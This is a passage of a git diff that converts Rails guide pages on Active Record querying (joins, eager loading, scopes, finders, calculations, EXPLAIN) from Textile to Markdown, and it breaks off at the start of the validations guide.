defined on the model as a shortcut for specifying +JOIN+ clause for those associations when using the +joins+ method. +Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method. -For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models: +For example, consider the following `Category`, `Post`, `Comments` and `Guest` models: -<ruby> +```ruby class Category < ActiveRecord::Base has_many :posts end @@ -908,369 +921,373 @@ end class Tag < ActiveRecord::Base belongs_to :post end -</ruby> +``` -Now all of the following will produce the expected join queries using +INNER JOIN+: +Now all of the following will produce the expected join queries using `INNER JOIN`: -h5. Joining a Single Association +#### Joining a Single Association -<ruby> +```ruby Category.joins(:posts) -</ruby> +``` This produces: -<sql> +```sql SELECT categories.* FROM categories INNER JOIN posts ON posts.category_id = categories.id -</sql> +``` -Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use Category.joins(:posts).select("distinct(categories.id)"). +Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use `Category.joins(:posts).select("distinct(categories.id)")`. -h5. Joining Multiple Associations +#### Joining Multiple Associations -<ruby> +```ruby Post.joins(:category, :comments) -</ruby> +``` This produces: -<sql> +```sql SELECT posts.* FROM posts INNER JOIN categories ON posts.category_id = categories.id INNER JOIN comments ON comments.post_id = posts.id -</sql> +``` Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times. -h5. Joining Nested Associations (Single Level) +#### Joining Nested Associations (Single Level) -<ruby> +```ruby Post.joins(:comments => :guest) -</ruby> +``` This produces: -<sql> +```sql SELECT posts.* FROM posts INNER JOIN comments ON comments.post_id = posts.id INNER JOIN guests ON guests.comment_id = comments.id -</sql> +``` Or, in English: "return all posts that have a comment made by a guest." -h5. Joining Nested Associations (Multiple Level) +#### Joining Nested Associations (Multiple Level) -<ruby> +```ruby Category.joins(:posts => [{:comments => :guest}, :tags]) -</ruby> +``` This produces: -<sql> +```sql SELECT categories.* FROM categories INNER JOIN posts ON posts.category_id = categories.id INNER JOIN comments ON comments.post_id = posts.id INNER JOIN guests ON guests.comment_id = comments.id INNER JOIN tags ON tags.post_id = posts.id -</sql> +``` -h4. Specifying Conditions on the Joined Tables +### Specifying Conditions on the Joined Tables -You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables: +You can specify conditions on the joined tables using the regular [Array](array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provides a special syntax for specifying conditions for the joined tables: -<ruby> +```ruby time_range = (Time.now.midnight - 1.day)..Time.now.midnight Client.joins(:orders).where('orders.created_at' => time_range) -</ruby> +``` An alternative and cleaner syntax is to nest the hash conditions: -<ruby> +```ruby time_range = (Time.now.midnight - 1.day)..Time.now.midnight Client.joins(:orders).where(:orders => {:created_at => time_range}) -</ruby> +``` -This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression. +This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression. -h3. Eager Loading Associations +Eager Loading Associations +-------------------------- -Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible. +Eager loading is the mechanism for loading the associated records of the objects returned by `Model.find` using as few queries as possible. -<strong>N <plus> 1 queries problem</strong> +**N + 1 queries problem** Consider the following code, which finds 10 clients and prints their postcodes: -<ruby> +```ruby clients = Client.limit(10) clients.each do |client| puts client.address.postcode end -</ruby> +``` -This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) <plus> 10 ( one per each client to load the address ) = <strong>11</strong> queries in total. +This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = **11** queries in total. -<strong>Solution to N <plus> 1 queries problem</strong> +**Solution to N + 1 queries problem** -Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the +includes+ method of the +Model.find+ call. With +includes+, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries. +Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries. -Revisiting the above case, we could rewrite +Client.limit(10)+ to use eager load addresses: +Revisiting the above case, we could rewrite `Client.limit(10)` to use eager load addresses: -<ruby> +```ruby clients = Client.includes(:address).limit(10) clients.each do |client| puts client.address.postcode end -</ruby> +``` -The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case: +The above code will execute just **2** queries, as opposed to **11** queries in the previous case: -<sql> +```sql SELECT * FROM clients LIMIT 10 SELECT addresses.* FROM addresses WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10)) -</sql> +``` -h4. Eager Loading Multiple Associations +### Eager Loading Multiple Associations -Active Record lets you eager load any number of associations with a single +Model.find+ call by using an array, hash, or a nested hash of array/hash with the +includes+ method. +Active Record lets you eager load any number of associations with a single `Model.find` call by using an array, hash, or a nested hash of array/hash with the `includes` method. -h5. Array of Multiple Associations +#### Array of Multiple Associations -<ruby> +```ruby Post.includes(:category, :comments) -</ruby> +``` This loads all the posts and the associated category and comments for each post. -h5. Nested Associations Hash +#### Nested Associations Hash -<ruby> +```ruby Category.includes(:posts => [{:comments => :guest}, :tags]).find(1) -</ruby> +``` This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association. -h4. Specifying Conditions on Eager Loaded Associations +### Specifying Conditions on Eager Loaded Associations -Even though Active Record lets you specify conditions on the eager loaded associations just like +joins+, the recommended way is to use "joins":#joining-tables instead. +Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use [joins](#joining-tables) instead. -However if you must do this, you may use +where+ as you would normally. +However if you must do this, you may use `where` as you would normally. -<ruby> +```ruby Post.includes(:comments).where("comments.visible" => true) -</ruby> +``` -This would generate a query which contains a +LEFT OUTER JOIN+ whereas the +joins+ method would generate one using the +INNER JOIN+ function instead. +This would generate a query which contains a `LEFT OUTER JOIN` whereas the `joins` method would generate one using the `INNER JOIN` function instead. -<ruby> +```ruby SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1) -</ruby> +``` -If there was no +where+ condition, this would generate the normal set of two queries. +If there was no `where` condition, this would generate the normal set of two queries. -If, in the case of this +includes+ query, there were no comments for any posts, all the posts would still be loaded. By using +joins+ (an INNER JOIN), the join conditions *must* match, otherwise no records will be returned. +If, in the case of this `includes` query, there were no comments for any posts, all the posts would still be loaded. By using `joins` (an INNER JOIN), the join conditions **must** match, otherwise no records will be returned. -h3. Scopes +Scopes +------ -Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as +where+, +joins+ and +includes+. All scope methods will return an +ActiveRecord::Relation+ object which will allow for further methods (such as other scopes) to be called on it. +Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and `includes`. All scope methods will return an `ActiveRecord::Relation` object which will allow for further methods (such as other scopes) to be called on it. -To define a simple scope, we use the +scope+ method inside the class, passing the query that we'd like run when this scope is called: +To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like run when this scope is called: -<ruby> +```ruby class Post < ActiveRecord::Base scope :published, -> { where(published: true) } end -</ruby> +``` This is exactly the same as defining a class method, and which you use is a matter of personal preference: -<ruby> +```ruby class Post < ActiveRecord::Base def self.published where(published: true) end end -</ruby> +``` Scopes are also chainable within scopes: -<ruby> +```ruby class Post < ActiveRecord::Base scope :published, -> { where(:published => true) } scope :published_and_commented, -> { published.where("comments_count > 0") } end -</ruby> +``` -To call this +published+ scope we can call it on either the class: +To call this `published` scope we can call it on either the class: -<ruby> +```ruby Post.published # => [published posts] -</ruby> +``` -Or on an association consisting of +Post+ objects: +Or on an association consisting of `Post` objects: -<ruby> +```ruby category = Category.first category.posts.published # => [published posts belonging to this category] -</ruby> +``` -h4. Passing in arguments +### Passing in arguments Your scope can take arguments: -<ruby> +```ruby class Post < ActiveRecord::Base scope :created_before, ->(time) { where("created_at < ?", time) } end -</ruby> +``` This may then be called using this: -<ruby> +```ruby Post.created_before(Time.zone.now) -</ruby> +``` However, this is just duplicating the functionality that would be provided to you by a class method. -<ruby> +```ruby class Post < ActiveRecord::Base def self.created_before(time) where("created_at < ?", time) end end -</ruby> +``` Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects: -<ruby> +```ruby category.posts.created_before(time) -</ruby> +``` -h4. Applying a default scope +### Applying a default scope If we wish for a scope to be applied across all queries to the model we can use the -+default_scope+ method within the model itself. +`default_scope` method within the model itself. -<ruby> +```ruby class Client < ActiveRecord::Base default_scope { where("removed_at IS NULL") } end -</ruby> +``` When queries are executed on this model, the SQL query will now look something like this: -<sql> +```sql SELECT * FROM clients WHERE removed_at IS NULL -</sql> +``` If you need to do more complex things with a default scope, you can alternatively define it as a class method: -<ruby> +```ruby class Client < ActiveRecord::Base def self.default_scope # Should return an ActiveRecord::Relation. end end -</ruby> +``` -h4. Removing all scoping +### Removing all scoping -If we wish to remove scoping for any reason we can use the +unscoped+ method. This is -especially useful if a +default_scope+ is specified in the model and should not be +If we wish to remove scoping for any reason we can use the `unscoped` method. This is +especially useful if a `default_scope` is specified in the model and should not be applied for this particular query. -<ruby> +```ruby Client.unscoped.all -</ruby> +``` This method removes all scoping and will do a normal query on the table. -Note that chaining +unscoped+ with a +scope+ does not work. In these cases, it is -recommended that you use the block form of +unscoped+: +Note that chaining `unscoped` with a `scope` does not work. In these cases, it is +recommended that you use the block form of `unscoped`: -<ruby> +```ruby Client.unscoped { Client.created_before(Time.zome.now) } -</ruby> +``` -h3. Dynamic Finders +Dynamic Finders +--------------- -For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +first_name+ on your +Client+ model for example, you get +find_by_first_name+ and +find_all_by_first_name+ for free from Active Record. If you have a +locked+ field on the +Client+ model, you also get +find_by_locked+ and +find_all_by_locked+ methods. +For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` and `find_all_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and `find_all_by_locked` methods. -You can also use +find_last_by_*+ methods which will find the last record matching your argument. +You can also use `find_last_by_*` methods which will find the last record matching your argument. -You can specify an exclamation point (<tt>!</tt>) on the end of the dynamic finders to get them to raise an +ActiveRecord::RecordNotFound+ error if they do not return any records, like +Client.find_by_name!("Ryan")+ +You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")` -If you want to find both by name and locked, you can chain these finders together by simply typing "+and+" between the fields. For example, +Client.find_by_first_name_and_locked("Ryan", true)+. +If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`. -WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say <tt>Client.find_by_name_and_locked("Ryan")</tt>, the behavior is to pass +nil+ as the missing argument. This is *unintentional* and this behavior will be changed in Rails 3.2 to throw an +ArgumentError+. +WARNING: Up to and including Rails 3.1, when the number of arguments passed to a dynamic finder method is lesser than the number of fields, say `Client.find_by_name_and_locked("Ryan")`, the behavior is to pass `nil` as the missing argument. This is **unintentional** and this behavior will be changed in Rails 3.2 to throw an `ArgumentError`. -h3. Find or build a new object +Find or build a new object +-------------------------- -It's common that you need to find a record or create it if it doesn't exist. You can do that with the +first_or_create+ and +first_or_create!+ methods. +It's common that you need to find a record or create it if it doesn't exist. You can do that with the `first_or_create` and `first_or_create!` methods. -h4. +first_or_create+ +### `first_or_create` -The +first_or_create+ method checks whether +first+ returns +nil+ or not. If it does return +nil+, then +create+ is called. This is very powerful when coupled with the +where+ method. Let's see an example. +The `first_or_create` method checks whether `first` returns `nil` or not. If it does return `nil`, then `create` is called. This is very powerful when coupled with the `where` method. Let's see an example. -Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his +locked+ attribute to false. You can do so by running: +Suppose you want to find a client named 'Andy', and if there's none, create one and additionally set his `locked` attribute to false. You can do so by running: -<ruby> +```ruby Client.where(:first_name => 'Andy').first_or_create(:locked => false) # => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> -</ruby> +``` The SQL generated by this method looks like this: -<sql> +```sql SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1 BEGIN INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 0, NULL, '2011-08-30 05:22:57') COMMIT -</sql> +``` -+first_or_create+ returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned. +`first_or_create` returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned. -The new record might not be saved to the database; that depends on whether validations passed or not (just like +create+). +The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`). -It's also worth noting that +first_or_create+ takes into account the arguments of the +where+ method. In the example above we didn't explicitly pass a +:first_name => 'Andy'+ argument to +first_or_create+. However, that was used when creating the new record because it was already passed before to the +where+ method. +It's also worth noting that `first_or_create` takes into account the arguments of the `where` method. In the example above we didn't explicitly pass a `:first_name => 'Andy'` argument to `first_or_create`. However, that was used when creating the new record because it was already passed before to the `where` method. -You can do the same with the +find_or_create_by+ method: +You can do the same with the `find_or_create_by` method: -<ruby> +```ruby Client.find_or_create_by_first_name(:first_name => "Andy", :locked => false) -</ruby> +``` -This method still works, but it's encouraged to use +first_or_create+ because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall. +This method still works, but it's encouraged to use `first_or_create` because it's more explicit on which arguments are used to _find_ the record and which are used to _create_, resulting in less confusion overall. -h4(#first_or_create_bang). +first_or_create!+ +### `first_or_create!` -You can also use +first_or_create!+ to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add +You can also use `first_or_create!` to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add -<ruby> +```ruby validates :orders_count, :presence => true -</ruby> +``` -to your +Client+ model. If you try to create a new +Client+ without passing an +orders_count+, the record will be invalid and an exception will be raised: +to your `Client` model. If you try to create a new `Client` without passing an `orders_count`, the record will be invalid and an exception will be raised: -<ruby> +```ruby Client.where(:first_name => 'Andy').first_or_create!(:locked => false) # => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank -</ruby> +``` -As with +first_or_create+ there is a +find_or_create_by!+ method but the +first_or_create!+ method is preferred for clarity. +As with `first_or_create` there is a `find_or_create_by!` method but the `first_or_create!` method is preferred for clarity. -h4. +first_or_initialize+ +### `first_or_initialize` -The +first_or_initialize+ method will work just like +first_or_create+ but it will not call +create+ but +new+. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the +first_or_create+ example, we now want the client named 'Nick': +The `first_or_initialize` method will work just like `first_or_create` but it will not call `create` but `new`. This means that a new model instance will be created in memory but won't be saved to the database. Continuing with the `first_or_create` example, we now want the client named 'Nick': -<ruby> +```ruby nick = Client.where(:first_name => 'Nick').first_or_initialize(:locked => false) # => <Client id: nil, first_name: "Nick", orders_count: 0, locked: false, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27"> @@ -1279,46 +1296,47 @@ nick.persisted? nick.new_record? # => true -</ruby> +``` Because the object is not yet stored in the database, the SQL generated looks like this: -<sql> +```sql SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1 -</sql> +``` -When you want to save it to the database, just call +save+: +When you want to save it to the database, just call `save`: -<ruby> +```ruby nick.save # => true -</ruby> +``` -h3. Finding by SQL +Finding by SQL +-------------- -If you'd like to use your own SQL to find records in a table you can use +find_by_sql+. The +find_by_sql+ method will return an array of objects even if the underlying query returns just a single record. For example you could run this query: +If you'd like to use your own SQL to find records in a table you can use `find_by_sql`. The `find_by_sql` method will return an array of objects even if the underlying query returns just a single record. For example you could run this query: -<ruby> +```ruby Client.find_by_sql("SELECT * FROM clients INNER JOIN orders ON clients.id = orders.client_id ORDER clients.created_at desc") -</ruby> +``` -+find_by_sql+ provides you with a simple way of making custom calls to the database and retrieving instantiated objects. +`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects. -h3. +select_all+ +### `select_all` -<tt>find_by_sql</tt> has a close relative called +connection#select_all+. +select_all+ will retrieve objects from the database using custom SQL just like +find_by_sql+ but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record. +`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record. -<ruby> +```ruby Client.connection.select_all("SELECT * FROM clients WHERE id = '1'") -</ruby> +``` -h3. +pluck+ +### `pluck` -<tt>pluck</tt> can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type. +`pluck` can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type. -<ruby> +```ruby Client.where(:active => true).pluck(:id) # SELECT id FROM clients WHERE active = 1 # => [1, 2, 3] @@ -1330,75 +1348,76 @@ Client.uniq.pluck(:role) Client.pluck(:id, :name) # SELECT clients.id, clients.name FROM clients # => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']] -</ruby> +``` -+pluck+ makes it possible to replace code like +`pluck` makes it possible to replace code like -<ruby> +```ruby Client.select(:id).map { |c| c.id } # or Client.select(:id).map { |c| [c.id, c.name] } -</ruby> +``` with -<ruby> +```ruby Client.pluck(:id) # or Client.pluck(:id, :name) -</ruby> +``` -h3. +ids+ +### `ids` -+ids+ can be used to pluck all the IDs for the relation using the table's primary key. +`ids` can be used to pluck all the IDs for the relation using the table's primary key. -<ruby> +```ruby Person.ids # SELECT id FROM people -</ruby> +``` -<ruby> +```ruby class Person < ActiveRecord::Base self.primary_key = "person_id" end Person.ids # SELECT person_id FROM people -</ruby> +``` -h3. Existence of Objects +Existence of Objects +-------------------- -If you simply want to check for the existence of the object there's a method called +exists?+. This method will query the database using the same query as +find+, but instead of returning an object or collection of objects it will return either +true+ or +false+. +If you simply want to check for the existence of the object there's a method called `exists?`. This method will query the database using the same query as `find`, but instead of returning an object or collection of objects it will return either `true` or `false`. -<ruby> +```ruby Client.exists?(1) -</ruby> +``` -The +exists?+ method also takes multiple ids, but the catch is that it will return true if any one of those records exists. +The `exists?` method also takes multiple ids, but the catch is that it will return true if any one of those records exists. -<ruby> +```ruby Client.exists?(1,2,3) # or Client.exists?([1,2,3]) -</ruby> +``` -It's even possible to use +exists?+ without any arguments on a model or a relation. +It's even possible to use `exists?` without any arguments on a model or a relation. -<ruby> +```ruby Client.where(:first_name => 'Ryan').exists? -</ruby> +``` -The above returns +true+ if there is at least one client with the +first_name+ 'Ryan' and +false+ otherwise. +The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` otherwise. -<ruby> +```ruby Client.exists? -</ruby> +``` -The above returns +false+ if the +clients+ table is empty and +true+ otherwise. +The above returns `false` if the `clients` table is empty and `true` otherwise. -You can also use +any?+ and +many?+ to check for existence on a model or relation. +You can also use `any?` and `many?` to check for existence on a model or relation. -<ruby> +```ruby # via a model Post.any? Post.many? @@ -1414,115 +1433,117 @@ Post.where(:published => true).many? # via an association Post.first.categories.any? Post.first.categories.many? -</ruby> +``` -h3. Calculations +Calculations +------------ This section uses count as an example method in this preamble, but the options described apply to all sub-sections. All calculation methods work directly on a model: -<ruby> +```ruby Client.count # SELECT count(*) AS count_all FROM clients -</ruby> +``` Or on a relation: -<ruby> +```ruby Client.where(:first_name => 'Ryan').count # SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan') -</ruby> +``` You can also use various finder methods on a relation for performing complex calculations: -<ruby> +```ruby Client.includes("orders").where(:first_name => 'Ryan', :orders => {:status => 'received'}).count -</ruby> +``` Which will execute: -<sql> +```sql SELECT count(DISTINCT clients.id) AS count_all FROM clients LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE (clients.first_name = 'Ryan' AND orders.status = 'received') -</sql> +``` -h4. Count +### Count -If you want to see how many records are in your model's table you could call +Client.count+ and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use +Client.count(:age)+. +If you want to see how many records are in your model's table you could call `Client.count` and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use `Client.count(:age)`. -For options, please see the parent section, "Calculations":#calculations. +For options, please see the parent section, [Calculations](#calculations). -h4. Average +### Average -If you want to see the average of a certain number in one of your tables you can call the +average+ method on the class that relates to the table. This method call will look something like this: +If you want to see the average of a certain number in one of your tables you can call the `average` method on the class that relates to the table. This method call will look something like this: -<ruby> +```ruby Client.average("orders_count") -</ruby> +``` This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field. -For options, please see the parent section, "Calculations":#calculations. +For options, please see the parent section, [Calculations](#calculations). -h4. Minimum +### Minimum -If you want to find the minimum value of a field in your table you can call the +minimum+ method on the class that relates to the table. This method call will look something like this: +If you want to find the minimum value of a field in your table you can call the `minimum` method on the class that relates to the table. This method call will look something like this: -<ruby> +```ruby Client.minimum("age") -</ruby> +``` -For options, please see the parent section, "Calculations":#calculations. +For options, please see the parent section, [Calculations](#calculations). -h4. Maximum +### Maximum -If you want to find the maximum value of a field in your table you can call the +maximum+ method on the class that relates to the table. This method call will look something like this: +If you want to find the maximum value of a field in your table you can call the `maximum` method on the class that relates to the table. This method call will look something like this: -<ruby> +```ruby Client.maximum("age") -</ruby> +``` -For options, please see the parent section, "Calculations":#calculations. +For options, please see the parent section, [Calculations](#calculations). -h4. Sum +### Sum -If you want to find the sum of a field for all records in your table you can call the +sum+ method on the class that relates to the table. This method call will look something like this: +If you want to find the sum of a field for all records in your table you can call the `sum` method on the class that relates to the table. This method call will look something like this: -<ruby> +```ruby Client.sum("orders_count") -</ruby> +``` -For options, please see the parent section, "Calculations":#calculations. +For options, please see the parent section, [Calculations](#calculations). -h3. Running EXPLAIN +Running EXPLAIN +--------------- You can run EXPLAIN on the queries triggered by relations. For example, -<ruby> +```ruby User.where(:id => 1).joins(:posts).explain -</ruby> +``` may yield -<plain> +``` EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1 -<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus> ++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | -<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus> ++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ | 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | | | 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where | -<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------------<plus> ++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ 2 rows in set (0.00 sec) -</plain> +``` under MySQL. Active Record performs a pretty printing that emulates the one of the database shells. So, the same query running with the PostgreSQL adapter would yield instead -<plain> +``` EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1 QUERY PLAN ------------------------------------------------------------------------------ @@ -1533,46 +1554,46 @@ EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_i -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4) Filter: (posts.user_id = 1) (6 rows) -</plain> +``` Eager loading may trigger more than one query under the hood, and some queries -may need the results of previous ones. Because of that, +explain+ actually +may need the results of previous ones. Because of that, `explain` actually executes the query, and then asks for the query plans. For example, -<ruby> +```ruby User.where(:id => 1).includes(:posts).explain -</ruby> +``` yields -<plain> +``` EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1 -<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus> ++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | -<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus> ++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+ | 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | | -<plus>----<plus>-------------<plus>-------<plus>-------<plus>---------------<plus>---------<plus>---------<plus>-------<plus>------<plus>-------<plus> ++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+ 1 row in set (0.00 sec) EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1) -<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus> ++----+-------------+-------+------+---------------+------+---------+------+------+-------------+ | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | -<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus> ++----+-------------+-------+------+---------------+------+---------+------+------+-------------+ | 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where | -<plus>----<plus>-------------<plus>-------<plus>------<plus>---------------<plus>------<plus>---------<plus>------<plus>------<plus>-------------<plus> ++----+-------------+-------+------+---------------+------+---------+------+------+-------------+ 1 row in set (0.00 sec) -</plain> +``` under MySQL. -h4. Automatic EXPLAIN +### Automatic EXPLAIN Active Record is able to run EXPLAIN automatically on slow queries and log its output. This feature is controlled by the configuration parameter -<ruby> +```ruby config.active_record.auto_explain_threshold_in_seconds -</ruby> +``` If set to a number, any query exceeding those many seconds will have its EXPLAIN automatically triggered and logged. In the case of relations, the threshold is @@ -1580,37 +1601,37 @@ compared to the total time needed to fetch records. So, a relation is seen as a unit of work, no matter whether the implementation of eager loading involves several queries under the hood. -A threshold of +nil+ disables automatic EXPLAINs. +A threshold of `nil` disables automatic EXPLAINs. -The default threshold in development mode is 0.5 seconds, and +nil+ in test and +The default threshold in development mode is 0.5 seconds, and `nil` in test and production modes. INFO. Automatic EXPLAIN gets disabled if Active Record has no logger, regardless of the value of the threshold. -h5. Disabling Automatic EXPLAIN +#### Disabling Automatic EXPLAIN -Automatic EXPLAIN can be selectively silenced with +ActiveRecord::Base.silence_auto_explain+: +Automatic EXPLAIN can be selectively silenced with `ActiveRecord::Base.silence_auto_explain`: -<ruby> +```ruby ActiveRecord::Base.silence_auto_explain do # no automatic EXPLAIN is triggered here end -</ruby> +``` That may be useful for queries you know are slow but fine, like a heavyweight report of an admin interface. -As its name suggests, +silence_auto_explain+ only silences automatic EXPLAINs. -Explicit calls to +ActiveRecord::Relation#explain+ run. +As its name suggests, `silence_auto_explain` only silences automatic EXPLAINs. +Explicit calls to `ActiveRecord::Relation#explain` run. -h4. Interpreting EXPLAIN +### Interpreting EXPLAIN Interpretation of the output of EXPLAIN is beyond the scope of this guide. The following pointers may be helpful: -* SQLite3: "EXPLAIN QUERY PLAN":http://www.sqlite.org/eqp.html +* SQLite3: [EXPLAIN QUERY PLAN](http://www.sqlite.org/eqp.html) -* MySQL: "EXPLAIN Output Format":http://dev.mysql.com/doc/refman/5.6/en/explain-output.html +* MySQL: [EXPLAIN Output Format](http://dev.mysql.com/doc/refman/5.6/en/explain-output.html) -* PostgreSQL: "Using EXPLAIN":http://www.postgresql.org/docs/current/static/using-explain.html +* PostgreSQL: [Using EXPLAIN](http://www.postgresql.org/docs/current/static/using-explain.html) diff --git a/guides/source/active_record_validations_callbacks.textile b/guides/source/active_record_validations_callbacks.md index b866337e3f..c0c35121a4 100644 --- a/guides/source/active_record_validations_callbacks.textile +++ b/guides/source/active_record_validations_callbacks.md @@ -1,4 +1,5 @@ -h2. Active Record Validations and Callbacks +Active Record Validations and Callbacks +======================================= This guide teaches you how to hook into the life cycle of your Active Record objects. You will learn how to validate the state of objects before they go into the database, and how to perform custom operations at certain points in the object life cycle. @@ -12,19 +13,21 @@ After reading this guide and trying out the presented concepts, we hope that you * Create special classes that encapsulate common behavior for your callbacks * Create Observers that respond to life cycle events outside of the original class -endprologue. +-------------------------------------------------------------------------------- -h3. The Object Life Cycle +The Object Life Cycle +--------------------- During the normal operation of a Rails application, objects may be created, updated, and destroyed. Active Record provides hooks into this <em>object life cycle</em> so that you can control your application and its data. Validations allow you to ensure that only valid data is stored in your database. Callbacks and observers allow you to trigger logic before or after an alteration of an object's state. -h3. Validations Overview +Validations Overview +-------------------- Before you dive into the detail of validations in Rails, you should understand a bit about how validations fit into the big picture. -h4. Why Use Validations? +### Why Use Validations? Validations are used to ensure that only valid data is saved into your database. For example, it may be important to your application to ensure that every user provides a valid email address and mailing address. @@ -32,21 +35,21 @@ There are several ways to validate data before it is saved into your database, i * Database constraints and/or stored procedures make the validation mechanisms database-dependent and can make testing and maintenance more difficult. However, if your database is used by other applications, it may be a good idea to use some constraints at the database level. Additionally, database-level validations can safely handle some things (such as uniqueness in heavily-used tables) that can be difficult to implement otherwise. * Client-side validations can be useful, but are generally unreliable if used alone. If they are implemented using JavaScript, they may be 